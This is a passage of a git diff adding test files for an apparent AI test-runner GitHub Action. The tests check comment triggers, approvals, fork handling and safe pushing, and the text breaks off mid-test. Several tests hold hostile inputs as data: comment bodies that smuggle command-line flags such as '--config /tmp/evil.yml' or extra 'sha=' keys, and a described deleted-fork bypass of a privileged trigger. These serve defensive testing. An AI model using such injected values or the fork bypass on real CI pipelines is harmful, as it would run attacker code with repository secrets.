assert.equal(approvalWasSpent(OUTCOMES.TESTS_FAILED), true) + }) + + // It ran, did part of the work, and may already have written some of it. + test("stopping at a limit spends it", () => { + assert.equal(approvalWasSpent(OUTCOMES.STOPPED_AT_LIMIT), true) + }) + + test("a run that broke does NOT spend it", () => { + assert.equal(approvalWasSpent(OUTCOMES.RUN_BROKE), false) + }) + + test("a run that could not start does NOT spend it", () => { + assert.equal(approvalWasSpent(OUTCOMES.COULD_NOT_RUN), false) + }) + + test("a skipped run does NOT spend it", () => { + assert.equal(approvalWasSpent(OUTCOMES.SKIPPED), false) + }) + + // Totality: a new outcome must be considered rather than silently spending + // an approval because it is not one of the two named failures. + test("every outcome has an answer", () => { + for (const o of Object.values(OUTCOMES)) { + assert.equal(typeof approvalWasSpent(o), "boolean", `${o} has no answer`) + } + }) +}) diff --git a/test-companion/test/plan-run.test.mjs b/test-companion/test/plan-run.test.mjs new file mode 100644 index 0000000..bfec758 --- /dev/null +++ b/test-companion/test/plan-run.test.mjs @@ -0,0 +1,760 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { planRun, TC_EVENTS, contextArgs, withPullRequestHead } from "../src/plan-run.mjs" + +// Minimal payload builders. Each returns the shape GitHub actually puts in +// $GITHUB_EVENT_PATH for that event, trimmed to the fields we read. +const pr = (over = {}) => ({ + number: 412, + draft: false, + merged: false, + state: "open", + title: "Fix the checkout total", + head: { sha: "abc123", ref: "fix/checkout", repo: { full_name: "acme/shop" } }, + base: { ref: "main", repo: { full_name: "acme/shop" } }, + ...over, +}) + +const plan = (eventName, payload, over = {}) => planRun({ eventName, payload, inputs: {}, repo: "acme/shop", ...over }) + +describe("comment trigger", () => { + test("a @browserstack comment on a pull request starts a run", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@browserstack test this PR against SHOP-221", user: { login: "dev" } }, + }) + assert.equal(r.skip, undefined) + assert.equal(r.event, TC_EVENTS.PR_COMMENT) + assert.equal(r.context.pr, "412") + }) + + // The comment's wording is the user's instruction — it is the whole point of + // the trigger, so it has to reach the run rather than being thrown away. + test("carries what the person actually asked for", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@browserstack test this PR against SHOP-221", user: { login: "dev" } }, + }) + assert.match(r.context.instructions, /SHOP-221/) + assert.doesNotMatch(r.context.instructions, /@browserstack/, "the mention itself is not an instruction") + }) + + test("ignores a comment on an issue that is not a pull request", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 9 }, + comment: { body: "@browserstack test this", user: { login: "dev" } }, + }) + assert.equal(r.skip.reason, "not-a-pull-request") + }) + + test("ignores a comment that does not mention us", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "looks good to me", user: { login: "dev" } }, + }) + assert.equal(r.skip.reason, "not-addressed-to-us") + }) + + // editing a comment must not start a run. Otherwise fixing a typo in + // a months-old comment re-runs the job. + test("ignores an edited comment", () => { + const r = plan("issue_comment", { + action: "edited", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@browserstack test this", user: { login: "dev" } }, + }) + assert.equal(r.skip.reason, "comment-edited") + }) +}) + +describe("pull request triggers", () => { + test("opened", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr() }) + assert.equal(r.event, TC_EVENTS.PR_OPENED) + assert.equal(r.context.sha, "abc123") + assert.equal(r.context.branch, "fix/checkout") + }) + + test("new commits", () => { + const r = plan("pull_request", { action: "synchronize", pull_request: pr() }) + assert.equal(r.event, TC_EVENTS.PR_UPDATED) + }) + + test("merged", () => { + const r = plan("pull_request", { + action: "closed", + pull_request: pr({ merged: true, state: "closed", merge_commit_sha: "deadbee" }), + }) + assert.equal(r.event, TC_EVENTS.PR_MERGED) + // The merge commit is the change that landed on the base branch; the head + // sha is the branch that no longer exists. Scoping to the wrong one makes + // the run look at code that was never merged. + assert.equal(r.context.sha, "deadbee") + assert.equal(r.context.branch, "main") + }) + + test("closed without merging does nothing", () => { + const r = plan("pull_request", { action: "closed", pull_request: pr({ merged: false }) }) + assert.equal(r.skip.reason, "closed-unmerged") + }) + + // a draft never starts a run on its own. A comment still can, which is + // why this check belongs here and not in the comment path. + test("a draft pull request does not start a run on its own", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr({ draft: true }) }) + assert.equal(r.skip.reason, "draft") + }) + + // . A fork PR runs with a read-only token and no secrets, so starting + // would fail confusingly partway. Refusing up front is the clean skip. + test("a pull request from a fork does not run", () => { + const r = plan("pull_request", { + action: "opened", + pull_request: pr({ head: { sha: "abc", ref: "x", repo: { full_name: "someone-else/shop" } } }), + }) + assert.equal(r.skip.reason, "fork") + }) +}) + +describe("red build trigger", () => { + test("a workflow that finished red", () => { + const r = plan("workflow_run", { + action: "completed", + workflow_run: { + name: "CI", + conclusion: "failure", + head_sha: "abc123", + head_branch: "main", + html_url: "https://github.com/acme/shop/actions/runs/99", + head_repository: { full_name: "acme/shop" }, + pull_requests: [], + }, + }) + assert.equal(r.event, TC_EVENTS.BUILD_FAILED) + assert.equal(r.context.build, "https://github.com/acme/shop/actions/runs/99") + assert.equal(r.context.build_status, "failed") + }) + + test("a workflow that passed does nothing", () => { + const r = plan("workflow_run", { + action: "completed", + workflow_run: { + name: "CI", + conclusion: "success", + head_sha: "a", + head_branch: "main", + head_repository: { full_name: "acme/shop" }, + }, + }) + assert.equal(r.skip.reason, "build-not-red") + }) + + // never explain a red run that is our own. Without this, a failing + // Test Companion check triggers a run to explain the failing Test Companion + // check, which triggers another one. + test("never explains its own failed run", () => { + const r = plan( + "workflow_run", + { + action: "completed", + workflow_run: { + name: "Test Companion", + conclusion: "failure", + head_sha: "a", + head_branch: "main", + html_url: "u", + head_repository: { full_name: "acme/shop" }, + }, + }, + { inputs: { "self-workflow-name": "Test Companion" } }, + ) + assert.equal(r.skip.reason, "own-run") + }) +}) + +describe("other triggers", () => { + test("a push", () => { + const r = plan("push", { ref: "refs/heads/main", after: "abc123" }) + assert.equal(r.event, TC_EVENTS.PUSH) + assert.equal(r.context.branch, "main") + assert.equal(r.context.sha, "abc123") + }) + + test("a schedule", () => { + const r = plan("schedule", {}, { ref: "refs/heads/main", sha: "abc123" }) + assert.equal(r.event, TC_EVENTS.SCHEDULE) + }) + + // a manual run names its own job and ignores the bindings entirely, + // which the CLI expresses as "no --event at all". + test("a manual run carries no event, so bindings are bypassed", () => { + const r = plan( + "workflow_dispatch", + {}, + { inputs: { workflow: "rca", preview: "true" }, sha: "abc", ref: "refs/heads/main" }, + ) + assert.equal(r.event, undefined, "a manual run must not send --event") + assert.equal(r.workflow, "rca") + assert.equal(r.preview, true) + }) + + test("an unsupported event is skipped rather than guessed at", () => { + const r = plan("label", {}) + assert.equal(r.skip.reason, "unsupported-event") + }) +}) + +describe("safety", () => { + // The CLI rejects a flag-like context value (CWE-88). A pull request title or + // comment is attacker-controlled on a public repo, so catch it before it is + // ever put on a command line. + test("refuses a context value that looks like a flag", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@browserstack --yolo --max-cost 9999", user: { login: "dev" } }, + }) + assert.equal(r.skip.reason, "unsafe-context") + }) + + test("never invents context the event did not provide", () => { + const r = plan("push", { ref: "refs/heads/main", after: "abc123" }) + for (const [k, v] of Object.entries(r.context)) { + assert.notEqual(v, undefined, `${k} must not be undefined`) + assert.notEqual(v, "", `${k} must not be empty`) + } + }) +}) + +describe("workflow_run is a privileged trigger", () => { + // workflow_run runs in the BASE repo's context with full secrets, even when + // the run it reacts to came from a fork. That is the documented GitHub + // footgun: the fork check in the pull_request path does not cover this one. + test("a red run from a fork does not start a privileged run", () => { + const r = plan("workflow_run", { + action: "completed", + workflow_run: { + name: "CI", + conclusion: "failure", + head_sha: "a", + head_branch: "x", + html_url: "u", + head_repository: { full_name: "someone-else/shop" }, + }, + }) + assert.equal(r.skip.reason, "fork") + }) + + test("a red run from this repo is fine", () => { + const r = plan("workflow_run", { + action: "completed", + workflow_run: { + name: "CI", + conclusion: "failure", + head_sha: "a", + head_branch: "main", + html_url: "u", + head_repository: { full_name: "acme/shop" }, + }, + }) + assert.equal(r.skip, undefined) + }) +}) + +describe("context values cannot inject extra keys", () => { + // context is a comma-separated k=v list, so a comment body containing a + // comma and an equals sign could otherwise append keys of its own, e.g. + // overriding the commit the run looks at. + test("strips separators out of free text", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@browserstack test it,sha=deadbeef,branch=attacker", user: { login: "d" } }, + }) + assert.equal(r.skip, undefined) + assert.doesNotMatch(r.context.instructions, /[,=]/, "separators must not survive into a context value") + assert.equal(r.context.sha, undefined, "a value must not be able to introduce a new key") + }) + + test("only keys the CLI actually reads are passed through", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr() }) + const allowed = new Set([ + "sha", + "branch", + "paths", + "build_status", + "pr", + "subject", + "url", + "build", + "description", + "target", + "cases", + "app", + "task", + "instructions", + "actor", + ]) + for (const k of Object.keys(r.context)) { + assert.ok(allowed.has(k), `unexpected context key: ${k}`) + } + }) +}) + +describe("workflow_run fails closed", () => { + test("a payload that does not say where the run came from is refused", () => { + const r = plan("workflow_run", { + action: "completed", + workflow_run: { name: "CI", conclusion: "failure", head_sha: "a", head_branch: "main", html_url: "u" }, + }) + assert.equal(r.skip.reason, "fork", "cannot-confirm must mean no on a trigger that carries secrets") + }) +}) + +describe("an explicitly named job", () => { + // Naming a job should win on ANY trigger, not just a manual one. Explicit + // beats implicit, and it gives a workflow file a way to pin one job without + // touching the pipeline file. Found while testing: the input was silently + // ignored on a pull_request event, which is a confusing no-op. + test("overrides the binding on an event-driven run", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr() }, { inputs: { workflow: "generate" } }) + assert.equal(r.workflow, "generate") + assert.equal(r.event, undefined, "naming a job means the bindings are bypassed, as for a manual run") + assert.equal(r.context.sha, "abc123", "the event's context still applies") + }) + + test("without one, the pipeline file still decides", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr() }) + assert.equal(r.workflow, undefined) + assert.equal(r.event, "pr_opened") + }) +}) + +describe("contextArgs — one flag per pair", () => { + // A single `--context a=1,b=2` is parsed by pflag with encoding/csv, which + // returns ErrBareQuote when an unquoted field contains a double quote. So a + // PR titled `Fix "Pay now" button` made flag parsing fail and the whole run + // reported "Could not run". One flag per pair takes pflag's single-pair + // path, which never reaches the CSV reader. + test("emits a separate --context flag for every pair", () => { + assert.deepEqual(contextArgs({ sha: "abc", pr: "412" }), ["--context", "sha=abc", "--context", "pr=412"]) + }) + + test("a double quote in a value no longer poisons the other pairs", () => { + const args = contextArgs({ subject: 'Fix "Pay now" button', pr: "412" }) + assert.ok(args.includes("--context")) + assert.ok(args.some((a) => a.startsWith("subject="))) + assert.ok(args.includes("pr=412")) + }) + + test("no context means no flag at all", () => { + assert.deepEqual(contextArgs({}), []) + }) +}) + +describe("cleanContext strips quotes as well as separators", () => { + test("a quoted PR title survives as plain text", () => { + const plan = planRun({ + eventName: "pull_request", + payload: { action: "opened", pull_request: pr({ title: 'Fix "Pay now" button' }) }, + repo: "acme/shop", + }) + const values = Object.values(plan.context ?? {}).join(" ") + assert.ok(!values.includes('"'), `a double quote reached the context: ${values}`) + }) +}) + +describe("a pull request does not send its title as the subject", () => { + // generateSubject in the CLI builds the commit-scoped prompt ("the change in + // PR #N, commit SHA … covering only what that change touches") ONLY when no + // subject is given. Sending the title meant `generate` on a pull request + // wrote cases for the title instead of the diff, which is. + test("pr_opened carries sha, branch and pr but no subject", () => { + const plan = planRun({ + eventName: "pull_request", + payload: { action: "opened", pull_request: pr() }, + repo: "acme/shop", + }) + assert.equal(plan.context.subject, undefined) + assert.equal(plan.context.pr, "412") + assert.ok(plan.context.sha) + }) +}) + +// P1 from review: a comment-triggered run worked on the WRONG TREE. +// +// The issue_comment plan carries `pr` but no `sha`, so checkSha fell back to +// GITHUB_SHA — the default branch tip for that event — and the starter's +// checkout took the default branch too. `@browserstack generate` on +// therefore read main, and the check landed on main's latest commit. +describe("withPullRequestHead — a comment run must name the PR's own commit", () => { + const plan = () => ({ event: "pr_comment", context: { pr: "42", instructions: "generate" } }) + const head = (over = {}) => ({ + head: { sha: "deadbeef", ref: "feat/checkout", repo: { full_name: "acme/shop" } }, + ...over, + }) + + test("fills in the head sha and branch", () => { + const out = withPullRequestHead(plan(), head(), "acme/shop") + assert.equal(out.context.sha, "deadbeef") + assert.equal(out.context.branch, "feat/checkout") + assert.equal(out.context.pr, "42") + }) + + test("refuses a fork rather than running its code with our credentials", () => { + const out = withPullRequestHead( + plan(), + head({ head: { sha: "x", ref: "y", repo: { full_name: "evil/shop" } } }), + "acme/shop", + ) + assert.equal(out.skip, "fork") + }) + + test("fails closed when the head repository is missing", () => { + const out = withPullRequestHead(plan(), head({ head: { sha: "x", ref: "y" } }), "acme/shop") + assert.equal(out.skip, "fork") + }) + + test("fails closed when the lookup returned nothing", () => { + assert.equal(withPullRequestHead(plan(), null, "acme/shop").skip, "no-pr-head") + }) + + test("leaves a plan that already names a commit alone", () => { + const p = { event: "pr_updated", context: { sha: "abc", branch: "b", pr: "1" } } + assert.deepEqual(withPullRequestHead(p, head(), "acme/shop"), p) + }) +}) + +describe("a bare approval reaches us", () => { + /** + * Found by the first approved run. The proposal comment says "Reply **go** + * to run this for real", a person replies exactly that, and the run skipped + * with "No @browserstack mention, so nothing was asked of Test Companion". + * + * The proposal was instructing an action that could not work. says "a + * reply of 'go'", and the PRD's own user story has the SDET replying "go" + * with no mention at all. + * + * Narrow on purpose: the comment must OPEN with the approval word. An + * unmentioned comment is still nothing to do with us in every other case, + * and main.mjs drops this one too unless a proposal is actually waiting. + */ + const comment = (body) => ({ + action: "created", + issue: { number: 7, pull_request: {} }, + comment: { body, user: { login: "an-sdet" } }, + }) + + test("a bare go is carried through, not skipped", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("go"), repo: "acme/shop" }) + assert.equal(out.skip, undefined) + assert.equal(out.approvalOnly, true) + }) + + /** + * CHANGED. This used to be carried through, so + * "edit the list while approving" worked with no mention. But + * "Approved, but rename the login case" is an ordinary review comment on + * any pull request, and unaddressed it started a live write run with the + * trailing text as approver edits that win. + * + * Editing while approving still works — it just has to be addressed to us + * now, and the proposal comment says so. + */ + test("go WITH EDITS needs the mention, or an ordinary review comment starts a run", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("go, but drop case two"), repo: "acme/shop" }) + assert.equal(out.skip?.reason ?? out.skip, "not-addressed-to-us") + + const addressed = planRun({ + eventName: "issue_comment", + payload: comment("@browserstack go, but drop case two"), + repo: "acme/shop", + }) + assert.equal(addressed.skip, undefined) + assert.match(addressed.context.instructions, /drop case two/) + }) + + test('"approved" works as well', () => { + assert.equal(planRun({ eventName: "issue_comment", payload: comment("approved"), repo: "acme/shop" }).skip, undefined) + }) + + // The discriminator. "go" has to OPEN the comment, or ordinary chatter on a + // pull request starts runs. + test("ordinary chatter that merely contains the word is still ignored", () => { + for (const body of ["let's go to lunch", "I'll go over this tomorrow", "this is good to go once CI passes"]) { + const out = planRun({ eventName: "issue_comment", payload: comment(body), repo: "acme/shop" }) + assert.equal(out.skip?.reason, "not-addressed-to-us", `"${body}" must not start a run`) + } + }) + + test("an addressed comment is unchanged and is not an approval-only one", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("@browserstack test this PR"), repo: "acme/shop" }) + assert.equal(out.skip, undefined) + assert.ok(!out.approvalOnly) + }) + + test("an unaddressed comment that is not an approval is still ignored", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("nice work"), repo: "acme/shop" }) + assert.equal(out.skip?.reason, "not-addressed-to-us") + }) +}) + +describe("pull_request_target is a privileged trigger — it must fail CLOSED", () => { + /** + * `pull_request_target` runs in the BASE repository's context with full + * secrets, even when the pull request comes from a fork. That is the + * documented way these workflows get compromised, and this fork check is the + * only thing in front of it: unlike `pull_request`, the credentials ARE + * present, so main.mjs's no-credentials skip never fires. + * + * GitHub sets `head.repo` to null when the fork has been DELETED. The old + * check required head.repo.full_name to be truthy before it would refuse, so + * a deleted fork sailed through — open a pull request from a fork, delete + * the fork, and the run executes attacker-authored code with the base + * repository's credentials and --yolo. + */ + const targetEvent = (head) => ({ + action: "opened", + pull_request: { number: 7, draft: false, head }, + }) + + test("a deleted fork (head.repo null) is refused, not run", () => { + const out = planRun({ + eventName: "pull_request_target", + payload: targetEvent({ sha: "abc", ref: "feature", repo: null }), + repo: "acme/shop", + }) + assert.equal(out.skip?.reason, "fork") + }) + + test("a payload with no head repository at all is refused", () => { + const out = planRun({ + eventName: "pull_request_target", + payload: targetEvent({ sha: "abc", ref: "feature" }), + repo: "acme/shop", + }) + assert.equal(out.skip?.reason, "fork") + }) + + test("the same hole on plain pull_request is closed too", () => { + const out = planRun({ + eventName: "pull_request", + payload: targetEvent({ sha: "abc", ref: "feature", repo: null }), + repo: "acme/shop", + }) + assert.equal(out.skip?.reason, "fork") + }) + + // Not knowing which repository we are cannot mean "assume it is ours". + test("an unknown repository is refused rather than assumed", () => { + const out = planRun({ + eventName: "pull_request_target", + payload: targetEvent({ sha: "abc", ref: "feature", repo: { full_name: "acme/shop" } }), + repo: "", + }) + assert.equal(out.skip?.reason, "fork") + }) + + test("our own branch still runs", () => { + const out = planRun({ + eventName: "pull_request_target", + payload: targetEvent({ sha: "abc", ref: "feature", repo: { full_name: "acme/shop" } }), + repo: "acme/shop", + }) + assert.equal(out.skip, undefined) + assert.equal(out.context.sha, "abc") + }) + + // GitHub treats repository names case-insensitively; workflow_run already + // compares this way and pull_request did not. + test("a case difference is the same repository, not a fork", () => { + const out = planRun({ + eventName: "pull_request_target", + payload: targetEvent({ sha: "abc", ref: "feature", repo: { full_name: "Acme/Shop" } }), + repo: "acme/shop", + }) + assert.equal(out.skip, undefined) + }) +}) + +describe("the flag guard sees the FINAL value, not the raw one", () => { + /** + * `looksLikeAFlag` used to run + * BEFORE `cleanContext`, which calls `stripSeparators` and turns `,`, `=` + * and `"` into spaces before trimming. So a value crafted to look safe + * beforehand became flag-like afterwards and the gate never saw it: + * + * `",--config /tmp/evil.yml"` → guard passes → `--config /tmp/evil.yml` + * + * while the same text unwrapped was correctly refused. Not injectable + * today only because every Go arg builder re-checks — the user-visible + * effect was a cryptic "Could not run" instead of the clean + * `unsafe-context` skip this has a message for. + */ + const comment = (body) => ({ + action: "created", + issue: { number: 7, pull_request: {} }, + comment: { body, user: { login: "dev" } }, + }) + const run = (body) => planRun({ eventName: "issue_comment", repo: "acme/shop", payload: comment(body) }) + + test("a bare flag is refused — the case that already worked", () => { + assert.equal(run("@browserstack --config /tmp/evil.yml").skip?.reason, "unsafe-context") + }) + + test("a flag smuggled past the guard by a separator is refused too", () => { + const out = run('@browserstack ",--config /tmp/evil.yml"') + assert.equal(out.skip?.reason, "unsafe-context", `leaked: ${JSON.stringify(out.context?.instructions)}`) + }) + + test("an ordinary request still gets through untouched", () => { + const out = run("@browserstack test this PR") + assert.equal(out.skip, undefined) + assert.equal(out.context.instructions, "test this PR") + }) +}) + +/** + * An UNADDRESSED comment reaches us only as a possible approval. It used to + * be enough to open with the word, so "Approved, but rename X" — an ordinary + * review comment on any pull request — started a live write run, with + * "but rename X" carried in as approver edits that win. + * + * Unaddressed, the comment must now BE the approval and nothing else. + * Addressed, "@browserstack go and also cover X" still works: that is + * "you can edit the list first", and they did address us. + */ +describe("an unaddressed comment counts as approval only when it is exactly that", () => { + const comment = (body) => + plan("issue_comment", { + action: "created", + issue: { number: 7, pull_request: { url: "x" } }, + comment: { body, user: { login: "dev" } }, + }) + + test("a bare go approves", () => { + for (const body of ["go", "go.", " go ", "Go!"]) { + assert.equal(comment(body).skip, undefined, `${JSON.stringify(body)} should be an approval`) + } + }) + + test("an ordinary review comment that merely starts with the word does NOT", () => { + for (const body of ["Approved, but rename the login case", "go ahead and ship it", "approved pending CI"]) { + assert.equal( + comment(body).skip?.reason ?? comment(body).skip, + "not-addressed-to-us", + `${JSON.stringify(body)} must not start a run`, + ) + } + }) + + test("addressed, edits alongside the approval are still allowed", () => { + const plan = comment("@browserstack go, and also cover the empty-cart case") + assert.equal(plan.skip, undefined) + assert.match(plan.context.instructions, /also cover the empty-cart case/) + }) +}) + +/** + * The result comment is edited in place, so it can only ever show the latest + * run. On a pull request where several people have asked for different jobs, + * nothing said whose request the current contents were answering. The report + * links back to the asking comment, which means carrying its URL out of here. + */ +describe("the asking comment is carried through", () => { + const at = "https://github.com/acme/shop/pull/412#issuecomment-99" + + test("a comment run knows where it was asked", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@browserstack explain this failure", user: { login: "dev" }, html_url: at }, + }) + assert.equal(r.askedAt, at) + assert.equal(r.commenter, "dev") + }) + + test("a payload without the link still plans the run", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@browserstack explain this failure", user: { login: "dev" } }, + }) + assert.equal(r.skip, undefined) + assert.equal(r.askedAt, undefined) + assert.equal(r.commenter, "dev") + }) + + test("a run nobody asked for has no asking comment", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr() }) + assert.equal(r.askedAt, undefined) + }) +}) + +/** + * People address the Action as @browserstack, the name the GitHub App posts + * under, so the name they type matches the name that replies. + * + * "browserstack" also appears in text that is NOT addressed to us: email + * addresses (someone@browserstack.com), GitHub team mentions + * (@browserstack/qa), npm package scopes (@browserstack/wdio-service) and the + * App's own bot account (@browserstack[bot]). A plain "does the comment + * contain @browserstack" check would start a run for every one of those, so + * only the word on its own counts. + */ +describe("the @browserstack mention", () => { + const comment = (body) => ({ + action: "created", + issue: { number: 7, pull_request: {} }, + comment: { body, user: { login: "dev" } }, + }) + const run = (body) => planRun({ eventName: "issue_comment", payload: comment(body), repo: "acme/shop" }) + + test("addresses us wherever it stands, in any case", () => { + for (const body of [ + "@browserstack test this PR", + "@BrowserStack test this PR", + "hey @browserstack, test this PR", + "LGTM.\n@browserstack test this PR", + "test this PR please @browserstack", + "thanks @browserstack.", + "(@browserstack) test this PR", + "**@browserstack** test this PR", + ]) { + const out = run(body) + assert.equal(out.skip, undefined, `"${body}" is addressed to us`) + assert.equal(out.event, TC_EVENTS.PR_COMMENT) + } + }) + + test("text that merely contains the name is not addressed to us", () => { + for (const body of [ + "ping naimish@browserstack.com about this", + "sent to QA@BrowserStack.com", + "@browserstack/qa please review", + "bump @browserstack/wdio-browserstack-service to 9.1", + "@browserstack-team have a look", + "@browserstack_ci is flaky again", + "@browserstacker said so", + "@browserstack[bot] posted twice", + ]) { + assert.equal(run(body).skip?.reason, "not-addressed-to-us", `"${body}" must not start a run`) + } + }) + + test("the old @test-companion mention no longer addresses us", () => { + assert.equal(run("@test-companion test this PR").skip?.reason, "not-addressed-to-us") + }) + + test("the mention is stripped from the instructions, and nothing else is", () => { + const out = run("@browserstack test this PR, cc qa@browserstack.com and @browserstack/qa") + assert.doesNotMatch(out.context.instructions, /(^|\s)@browserstack(\s|$)/i, "the mention itself is not an instruction") + assert.match(out.context.instructions, /qa@browserstack\.com/, "an email address is left intact") + assert.match(out.context.instructions, /@browserstack\/qa/, "a team mention is left intact") + assert.match(out.context.instructions, /test this PR/) + }) +}) diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs new file mode 100644 index 0000000..9abafaa --- /dev/null +++ b/test-companion/test/push-work.test.mjs @@ -0,0 +1,841 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { execFileSync } from "node:child_process" +import { mkdtempSync, rmSync, readdirSync, readFileSync } from "node:fs" +import { tmpdir } from "node:os" +import { join } from "node:path" +import { + shouldPushWork, + changedPaths, + splitPushable, + renderPushNote, + authoredByUs, + needsCheckout, + isSameRepo, + pushCredentialEnv, + unexpectedConfigKeys, + agentCommitted, + CONFIG_READ_ARGS, + trustedGitPath, + trustedGhPath, + ghEnvFrom, + gitEnvFrom, + GIT_SAFE_ARGS, + pushUrlFor, + BOT_EMAIL, +} from "../src/push-work.mjs" + +const live = { preview: false, sameRepo: true, branch: "feat/x", headAuthorEmail: "dev@example.com", onWantedCommit: true } + +describe("shouldPushWork — the approved work must survive the runner", () => { + test("a live run on the pull request's own branch pushes", () => { + assert.equal(shouldPushWork(live).ok, true) + }) + + /** + * A preview run is the proposal pass. The brain refuses every write tool, + * so there should be nothing to push — but if a shell command wrote + * something anyway, pushing it would break the one promise the proposal + * makes: "nothing is written until you say go". + */ + test("a preview run never pushes", () => { + assert.equal(shouldPushWork({ ...live, preview: true }).ok, false) + assert.match(shouldPushWork({ ...live, preview: true }).why, /preview/i) + }) + + test("a fork's branch is never pushed to", () => { + assert.equal(shouldPushWork({ ...live, sameRepo: false }).ok, false) + }) + + test("no branch to push to is a no", () => { + assert.equal(shouldPushWork({ ...live, branch: "" }).ok, false) + }) + + /** + * The loop guard. Our own push creates a commit; if that commit triggers a + * run that pushes again, the pull request fills with commits forever. One + * generation is enough: we never push on top of our own commit. + */ + test("a run triggered by our own commit does not push again", () => { + assert.equal(shouldPushWork({ ...live, headAuthorEmail: BOT_EMAIL }).ok, false) + assert.match(shouldPushWork({ ...live, headAuthorEmail: BOT_EMAIL }).why, /own commit/i) + }) + + test("the bot email check ignores case and spacing", () => { + assert.equal(authoredByUs(` ${BOT_EMAIL.toUpperCase()} `), true) + assert.equal(authoredByUs("dev@example.com"), false) + assert.equal(authoredByUs(undefined), false) + }) +}) + +describe("changedPaths — reading git status", () => { + test("reads modified, added and untracked paths", () => { + const porcelain = [" M tests/pricing.spec.js", "A tests/new.spec.js", "?? tests/extra.spec.js"].join("\n") + assert.deepEqual(changedPaths(porcelain), ["tests/pricing.spec.js", "tests/new.spec.js", "tests/extra.spec.js"]) + }) + + test("a rename reports where the file landed, not where it came from", () => { + assert.deepEqual(changedPaths("R old/a.js -> new/a.js"), ["new/a.js"]) + }) + + test("a quoted path with a space is unquoted", () => { + assert.deepEqual(changedPaths('?? "tests/my file.spec.js"'), ["tests/my file.spec.js"]) + }) + + test("a deleted file still counts — removing a test is a change worth keeping", () => { + assert.deepEqual(changedPaths(" D tests/gone.spec.js"), ["tests/gone.spec.js"]) + }) + + test("empty status means nothing changed", () => { + assert.deepEqual(changedPaths(""), []) + assert.deepEqual(changedPaths("\n \n"), []) + }) +}) + +describe("splitPushable — what we refuse to commit", () => { + test("source and tests are pushable", () => { + const { push, skip } = splitPushable(["tests/pricing.spec.js", "src/pricing.js", "playwright.config.ts"]) + assert.deepEqual(push, ["tests/pricing.spec.js", "src/pricing.js", "playwright.config.ts"]) + assert.deepEqual(skip, []) + }) + + /** + * `git add` already honours .gitignore, so this is the second line of + * defence, for a repository that does not ignore these. A pushed .env is + * the worst outcome in this whole feature — it publishes a credential to + * the customer's own history, where deleting it does not take it back. + */ + test("an environment file is never committed", () => { + const { push, skip } = splitPushable([".env", "tests/a.spec.js", "config/.env.local"]) + assert.deepEqual(push, ["tests/a.spec.js"]) + assert.deepEqual(skip, [".env", "config/.env.local"]) + }) + + test("dependencies and run output are never committed", () => { + const { skip } = splitPushable([ + "node_modules/left-pad/index.js", + "playwright-report/index.html", + "test-results/trace.zip", + "debug.log", + ".testcompanion/logs/run.log", + ]) + assert.equal(skip.length, 5) + }) + + test("a file whose name merely contains a skipped word is kept", () => { + const { push } = splitPushable(["src/env.js", "tests/node_modules_helper.spec.js"]) + assert.deepEqual(push, ["src/env.js", "tests/node_modules_helper.spec.js"]) + }) +}) + +describe("renderPushNote — the reader must see exactly what landed", () => { + test("names the branch and every file", () => { + const note = renderPushNote({ branch: "feat/x", sha: "abc1234", files: ["tests/a.spec.js", "src/b.js"] }) + assert.match(note, /feat\/x/) + assert.match(note, /abc1234/) + assert.match(note, /tests\/a\.spec\.js/) + assert.match(note, /src\/b\.js/) + }) + + test("says what it refused to commit, rather than dropping it silently", () => { + const note = renderPushNote({ branch: "feat/x", sha: "abc1234", files: ["tests/a.spec.js"], skipped: [".env"] }) + assert.match(note, /\.env/) + }) + + test("a failed push says so instead of claiming the work landed", () => { + const note = renderPushNote({ branch: "feat/x", files: ["tests/a.spec.js"], error: "permission denied" }) + assert.match(note, /permission denied/) + assert.doesNotMatch(note, /pushed/i) + }) +}) + +describe("needsCheckout — the run must happen on the branch it writes to", () => { + /** + * main.mjs already detaches onto the pull request's commit when it resolves + * a comment's issue number, but that fetch is advisory — it warns and + * carries on so a proposal can still be built. This is what turns "we tried + * to be on the right commit" into "we are", before anything is pushed. + */ + test("a checkout sitting on another commit needs switching", () => { + assert.equal(needsCheckout({ headSha: "7cab305", wantSha: "54ceef4" }), true) + }) + + test("already on the right commit needs nothing", () => { + assert.equal(needsCheckout({ headSha: "54ceef4", wantSha: "54ceef4" }), false) + }) + + test("comparison ignores case and short-vs-long form", () => { + assert.equal( + needsCheckout({ + headSha: "54CEEF419D7290183E8F6467863D8A92F4E24029", + wantSha: "54ceef419d7290183e8f6467863d8a92f4e24029", + }), + false, + ) + }) + + test("not knowing where we want to be is not a reason to move", () => { + assert.equal(needsCheckout({ headSha: "7cab305", wantSha: "" }), false) + assert.equal(needsCheckout({ headSha: "7cab305" }), false) + }) +}) + +describe("shouldPushWork — the two fail-open holes a review caught", () => { + /** + * `sameRepo` was hard-coded true at the call site, on the reasoning that + * plan-run.mjs already skips forks. True today; a hard-coded security + * value is wrong the moment the code around it moves, and this is the + * second time this exact shape has appeared in this Action — the first was + * `pull_request_target` failing open on a deleted fork. + */ + test("not knowing whose repository this is refuses the push", () => { + assert.equal(shouldPushWork({ ...live, 